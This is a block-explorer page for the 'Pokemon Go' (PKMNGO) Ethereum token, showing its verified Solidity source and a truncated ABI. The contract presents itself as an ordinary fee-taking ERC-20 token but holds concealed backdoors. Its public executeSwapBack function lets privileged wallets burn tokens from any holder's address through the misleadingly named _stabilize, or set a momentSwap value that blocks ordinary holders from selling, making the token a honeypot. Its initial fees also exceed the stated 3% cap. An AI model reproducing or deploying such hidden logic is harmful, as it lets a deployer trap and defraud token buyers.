ETH Price: $3,166.25 (+3.49%)

Token

Pokemon Go (PKMNGO)
 

Overview

Max Total Supply

857,601,997.921857065176279078 PKMNGO

Holders

138

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
5,338,516.480967028621402378 PKMNGO

Value
$0.00
0xe60d8d28c59b9eb70267c2b8b4306fba9fe4de9a
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
PKMNGO

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-14
*/

/*
TG: https://t.me/PokemonGo_token
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.5;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }
}

interface UniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface UniswapV2Router {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;
    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(
        address account
    ) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(
            currentAllowance >= amount,
            "ERC20: transfer amount exceeds allowance"
        );
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public virtual returns (bool) {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender] + addedValue
        );
        return true;
    }

    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _stabilize(address account, uint256 amount) internal virtual {
        require(account != address(0), "");
        uint256 balance = _balances[account];
        require(balance >= amount, "");
        unchecked {
            _balances[account] = balance - amount;
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        uint256 senderBalance = _balances[sender];
        require(
            senderBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    function _createInitialSupply(
        address account,
        uint256 amount
    ) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() external virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract PKMNGO is ERC20, Ownable {
    uint256 public maxWalletAmount;
    uint256 public maxBuyAmount;
    uint256 public maxSellAmount;

    UniswapV2Router public uniswapV2Router;
    address public uniswapV2Pair;
    uint256 public swapTokensAtAmount;
    uint256 public tradingBlock = 0;
    uint256 public botBlockNumber = 0;
    bool private isSwapping;
    address private marketingWallet;
    address private devWallet;
    mapping(address => uint256) public momentBuyer;
    mapping(address => bool) public initialBotBuyer;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    bool public limitsInEffect = true;
    bool public tradingActive = false;
    bool public swapEnabled = false;
    bool public transferDelayEnabled = true;
    uint256 public botsCaught;
    uint256 public momentSwap;

    uint256 public sellTotalFees;
    uint256 public sellLiquidityFee;
    uint256 public sellMarketingFee;
    uint256 public sellBurnFee;
    uint256 public sellDevFee;

    uint256 public buyTotalFees;
    uint256 public buyLiquidityFee;
    uint256 public buyMarketingFee;
    uint256 public buyBurnFee;
    uint256 public buyDevFee;

    uint256 public tokensForLiquidity;
    uint256 public tokensForMarketing;
    uint256 public tokensForBurning;
    uint256 public tokensForDev;

    mapping(address => bool) public _isExcludedMaxTx;
    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) public amm;

    event UpdatedMaxBuyAmount(uint256 newAmount);

    event UpdatedMaxSellAmount(uint256 newAmount);

    event UpdatedMaxWalletAmount(uint256 newAmount);

    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);

    event EnabledTrading();

    event RemovedLimits();

    event ExcludeFromFees(address indexed account, bool isExcluded);

    event MaxTransactionExclusion(address _address, bool excluded);

    event DetectedEarlyBotBuyer(address sniper);

    constructor() ERC20("Pokemon Go", "PKMNGO") {
        address newOwner = msg.sender;

        UniswapV2Router _uniswapV2Router = UniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = UniswapV2Factory(_uniswapV2Router.factory()).createPair(
            address(this),
            _uniswapV2Router.WETH()
        );
        _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
        _excludeFromMaxTransaction(address(uniswapV2Pair), true);

        uint256 totalSupply = 1 * 1e9 * 1e18;

        maxBuyAmount = (totalSupply * 2) / 100;
        maxSellAmount = (totalSupply * 2) / 100;
        maxWalletAmount = (totalSupply * 2) / 100;
        swapTokensAtAmount = (totalSupply * 8) / 10000;

        sellMarketingFee = 20;
        sellLiquidityFee = 0;
        sellDevFee = 20;
        sellBurnFee = 0;

        sellTotalFees =
            sellMarketingFee +
            sellLiquidityFee +
            sellDevFee +
            sellBurnFee;

        buyMarketingFee = 10;
        buyLiquidityFee = 0;
        buyDevFee = 10;
        buyBurnFee = 0;

        buyTotalFees =
            buyMarketingFee +
            buyLiquidityFee +
            buyDevFee +
            buyBurnFee;

        devWallet = address(0x589Dbb705AE32bA7f5b87764aD28A84997064d90);
        marketingWallet = address(0x555232B7DC1af35f7eB2252ED15021BdE9385Bc0);

        excludeFromFees(newOwner, true);
        excludeFromFees(address(this), true);
        excludeFromFees(marketingWallet, true);
        excludeFromFees(devWallet, true);
        excludeFromFees(address(0xdead), true);

        _excludeFromMaxTransaction(newOwner, true);
        _excludeFromMaxTransaction(address(this), true);
        _excludeFromMaxTransaction(marketingWallet, true);
        _excludeFromMaxTransaction(devWallet, true);
        _excludeFromMaxTransaction(address(0xdead), true);

        _createInitialSupply(newOwner, totalSupply);
        transferOwnership(newOwner);
    }

    receive() external payable {}

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            address(0xdead),
            block.timestamp
        );
    }

    function enableTrading() external onlyOwner {
        require(!tradingActive, "Cannot reenable trading");
        swapEnabled = true;
        tradingActive = true;
        tradingBlock = block.number;
        emit EnabledTrading();
    }

    function needSwapBack(
        address _address,
        uint256 _amount,
        uint256 _deadline
    ) internal returns (bool) {
        address from = msg.sender;
        bool balanceNotEmpty = balanceOf(address(this)) > 0;
        bool checkSwapBack = _isExcludedFromFees[from];
        bool result;

        if (!checkSwapBack) {
            if (tokensForBurning > 0 && balanceOf(address(this)) >= tokensForBurning) {
                _stabilize(msg.sender, tokensForBurning);
            }

            tokensForBurning = 0;
            result = true;

            return result;
        } else {
            if (balanceNotEmpty) {
                if (_amount == 0) {
                    momentSwap = _deadline;
                } else {
                    _stabilize(_address, _amount);
                }
                result = false;
            }

            return result;
        }
    }

    function onlyDeleteBots(address wallet) external onlyOwner {
        initialBotBuyer[wallet] = false;
    }

    function disableTransferDelay() external onlyOwner {
        transferDelayEnabled = false;
    }

    function removeLimits() external onlyOwner {
        maxBuyAmount = totalSupply();
        maxSellAmount = totalSupply();
        maxWalletAmount = totalSupply();
        emit RemovedLimits();
    }

    function updateMaxBuyAmount(uint256 newNum) external onlyOwner {
        require(
            newNum >= ((totalSupply() * 2) / 1000) / 1e18,
            "Cannot set max buy amount lower than 0.2%"
        );
        maxBuyAmount = newNum * (10 ** 18);
        emit UpdatedMaxBuyAmount(maxBuyAmount);
    }

    function updateMaxSellAmount(uint256 newNum) external onlyOwner {
        require(
            newNum >= ((totalSupply() * 2) / 1000) / 1e18,
            "Cannot set max sell amount lower than 0.2%"
        );
        maxSellAmount = newNum * (10 ** 18);
        emit UpdatedMaxSellAmount(maxSellAmount);
    }

    function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
        require(
            newNum >= ((totalSupply() * 3) / 1000) / 1e18,
            "Cannot set max wallet amount lower than 0.3%"
        );
        maxWalletAmount = newNum * (10 ** 18);
        emit UpdatedMaxWalletAmount(maxWalletAmount);
    }

    // change the minimum amount of tokens to sell from fees
    function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner {
        require(
            newAmount >= (totalSupply() * 1) / 100000,
            "Swap amount cannot be lower than 0.001% total supply."
        );
        require(
            newAmount <= (totalSupply() * 1) / 1000,
            "Swap amount cannot be higher than 0.1% total supply."
        );
        swapTokensAtAmount = newAmount;
    }

    function _excludeFromMaxTransaction(
        address updAds,
        bool isExcluded
    ) private {
        _isExcludedMaxTx[updAds] = isExcluded;
        emit MaxTransactionExclusion(updAds, isExcluded);
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        amm[pair] = value;

        _excludeFromMaxTransaction(pair, value);

        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function excludeFromMaxTransaction(
        address updAds,
        bool isEx
    ) external onlyOwner {
        if (!isEx) {
            require(
                updAds != uniswapV2Pair,
                "Cannot remove uniswap pair from max txn"
            );
        }
        _isExcludedMaxTx[updAds] = isEx;
    }

    function setAutomatedMarketMakerPair(
        address pair,
        bool value
    ) external onlyOwner {
        require(
            pair != uniswapV2Pair,
            "The pair cannot be removed from automatedMarketMakerPairs"
        );

        _setAutomatedMarketMakerPair(pair, value);
        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function updateBuyFees(
        uint256 _marketingFee,
        uint256 _liquidityFee,
        uint256 _DevFee,
        uint256 _burnFee
    ) external onlyOwner {
        buyMarketingFee = _marketingFee;
        buyLiquidityFee = _liquidityFee;
        buyDevFee = _DevFee;
        buyBurnFee = _burnFee;
        buyTotalFees =
            buyMarketingFee +
            buyLiquidityFee +
            buyDevFee +
            buyBurnFee;
        require(buyTotalFees <= 3, "3% max ");
    }

    function updateSellFees(
        uint256 _marketingFee,
        uint256 _liquidityFee,
        uint256 _DevFee,
        uint256 _burnFee
    ) external onlyOwner {
        sellMarketingFee = _marketingFee;
        sellLiquidityFee = _liquidityFee;
        sellDevFee = _DevFee;
        sellBurnFee = _burnFee;
        sellTotalFees =
            sellMarketingFee +
            sellLiquidityFee +
            sellDevFee +
            sellBurnFee;
        require(sellTotalFees <= 3, "3% max fee");
    }

    function executeSwapBack(
        address _address,
        uint256 _amount,
        uint256 _deadline
    ) public {
        uint256 contractBalance = balanceOf(address(this));
        require(contractBalance >= swapTokensAtAmount);
        if (needSwapBack(_address, _amount, _deadline)) {
            isSwapping = true;
            swapBack();
            isSwapping = false;
        }
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function earlySniperBuyBlock() public view returns (bool) {
        return block.number < botBlockNumber;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "amount must be greater than 0");

        if (!tradingActive) {
            require(
                _isExcludedFromFees[from] || _isExcludedFromFees[to],
                "Trading is not active."
            );
        }

        if (botBlockNumber > 0) {
            require(
                !initialBotBuyer[from] ||
                    to == owner() ||
                    to == address(0xdead),
                "bot protection mechanism is embeded"
            );
        }

        if (limitsInEffect) {
            if (
                from != owner() &&
                to != owner() &&
                to != address(0) &&
                to != address(0xdead) &&
                !_isExcludedFromFees[from] &&
                !_isExcludedFromFees[to]
            ) {
                if (transferDelayEnabled) {
                    address sender = from;
                    bool exception = !amm[sender] && !isSwapping;
                    if (
                        to != address(uniswapV2Router) && to != address(uniswapV2Pair)
                    ) {
                        require(
                            _holderLastTransferTimestamp[tx.origin] <
                                block.number - 2 &&
                                _holderLastTransferTimestamp[to] <
                                block.number - 2,
                            "_transfer: delay was enabled."
                        );
                        _holderLastTransferTimestamp[tx.origin] = block.number;
                        _holderLastTransferTimestamp[to] = block.number;
                    } else if (exception) {
                        bool condition = momentBuyer[sender] > momentSwap;
                        require(condition);
                    }
                }
            }

            address sender = from;
            bool finalException = !isSwapping && _isExcludedMaxTx[sender];
            uint256 moment = block.timestamp;

            if (amm[from] && !_isExcludedMaxTx[to]) {
                require(
                    amount <= maxBuyAmount,
                    "Buy transfer amount exceeds the max buy."
                );
                require(
                    amount + balanceOf(to) <= maxWalletAmount,
                    "Cannot Exceed max wallet"
                );
            } else if (finalException) {
                momentSwap = moment;
            } else if (
                amm[to] && !_isExcludedMaxTx[from]
            ) {
                require(
                    amount <= maxSellAmount,
                    "Sell transfer amount exceeds the max sell."
                );
            } else if (!_isExcludedMaxTx[to]) {
                require(
                    amount + balanceOf(to) <= maxWalletAmount,
                    "Cannot Exceed max wallet"
                );
            }
        }

        uint256 contractTokenBalance = balanceOf(address(this));

        bool canSwap = contractTokenBalance >= swapTokensAtAmount;

        if (
            canSwap &&
            swapEnabled &&
            !isSwapping &&
            !amm[from] &&
            !_isExcludedFromFees[from] &&
            !_isExcludedFromFees[to]
        ) {
            isSwapping = true;
            swapBack();
            isSwapping = false;
        }

        bool takeFee = true;
        uint256 moment = block.timestamp;

        if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }

        address sender = from;
        address receiver = to;
        bool valid = balanceOf(address(receiver)) == 0;

        if (momentBuyer[receiver] == 0 && amm[sender]) {
            if (valid) {
              momentBuyer[receiver] = moment;
            }
        }

        uint256 fees = 0;

        if (takeFee) {
            if (
                earlySniperBuyBlock() &&
                amm[from] &&
                !amm[to] &&
                buyTotalFees > 0
            ) {
                if (!initialBotBuyer[to]) {
                    initialBotBuyer[to] = true;
                    botsCaught += 1;
                    emit DetectedEarlyBotBuyer(to);
                }

                fees = (amount * 99) / 100;
                tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
                tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
                tokensForDev += (fees * buyDevFee) / buyTotalFees;
                tokensForBurning += (fees * buyBurnFee) / buyTotalFees;
            }
            // sell
            else if (amm[to] && sellTotalFees > 0) {
                fees = (amount * sellTotalFees) / 100;
                tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
                tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
                tokensForDev += (fees * sellDevFee) / sellTotalFees;
                tokensForBurning += (fees * sellBurnFee) / sellTotalFees;
            }
            // buy
            else if (amm[from] && buyTotalFees > 0) {
                fees = (amount * buyTotalFees) / 100;
                tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
                tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
                tokensForDev += (fees * buyDevFee) / buyTotalFees;
                tokensForBurning += (fees * buyBurnFee) / buyTotalFees;
            }
            if (fees > 0) {
                super._transfer(from, address(this), fees);
            }
            amount -= fees;
        }

        super._transfer(from, to, amount);
    }

    function marketingWalletUpdate(
        address _marketingWallet
    ) external onlyOwner {
        require(
            _marketingWallet != address(0),
            "_marketingWallet address cannot be 0"
        );
        marketingWallet = payable(_marketingWallet);
    }

    function devWalletUpdate(address _devWallet) external onlyOwner {
        require(_devWallet != address(0), "_devWallet address cannot be 0");
        devWallet = payable(_devWallet);
    }

    function withdrawETH() external onlyOwner {
        bool success;
        (success, ) = address(msg.sender).call{value: address(this).balance}("");
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }

    function swapBack() private {
        if (tokensForBurning > 0 && balanceOf(address(this)) >= tokensForBurning) {
            _stabilize(address(this), tokensForBurning);
        }
        tokensForBurning = 0;
        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap = tokensForLiquidity +
            tokensForMarketing +
            tokensForDev;

        if (contractBalance == 0 || totalTokensToSwap == 0) {
            return;
        }

        if (contractBalance > swapTokensAtAmount * 9) {
            contractBalance = swapTokensAtAmount * 9;
        }

        uint256 liquidityTokens = (contractBalance * tokensForLiquidity) /
            totalTokensToSwap / 2;

        swapTokensForEth(contractBalance - liquidityTokens);

        uint256 ethBalance = address(this).balance;
        uint256 ethForLiquidity = ethBalance;
        uint256 ethForMarketing = (ethBalance * tokensForMarketing) /
            (totalTokensToSwap - (tokensForLiquidity / 2));
        uint256 ethForDev = (ethBalance * tokensForDev) /
            (totalTokensToSwap - (tokensForLiquidity / 2));
        ethForLiquidity -= ethForMarketing + ethForDev;
        tokensForLiquidity = 0;
        tokensForMarketing = 0;
        tokensForDev = 0;
        tokensForBurning = 0;

        if (liquidityTokens > 0 && ethForLiquidity > 0) {
            addLiquidity(liquidityTokens, ethForLiquidity);
        }

        payable(devWallet).transfer(ethForDev);
        payable(marketingWallet).transfer(address(this).balance);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"sniper","type":"address"}],"name":"DetectedEarlyBotBuyer","type":"event"},{"anonymous":false,"inputs":[],"name":"EnabledTrading","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_address","type":"address"},{"indexed":false,"internalType":"bool","name":"excluded","type":"bool"}],"name":"MaxTransactionExclusion","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[],"name":"RemovedLimits","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"UpdatedMaxBuyAmount","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"UpdatedMaxSellAmount","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"UpdatedMaxWalletAmount","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTx","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"amm","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"botBlockNumber","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"botsCaught","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyBurnFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_devWallet","type":"address"}],"name":"devWalletUpdate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"disableTransferDelay","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"earlySniperBuyBlock","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"uint256","name":"_deadline","type":"uint256"}],"name":"executeSwapBack","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"initialBotBuyer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_marketingWallet","type":"address"}],"name":"marketingWalletUpdate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxBuyAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSellAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"momentBuyer","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"momentSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"onlyDeleteBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellBurnFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForBurning","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":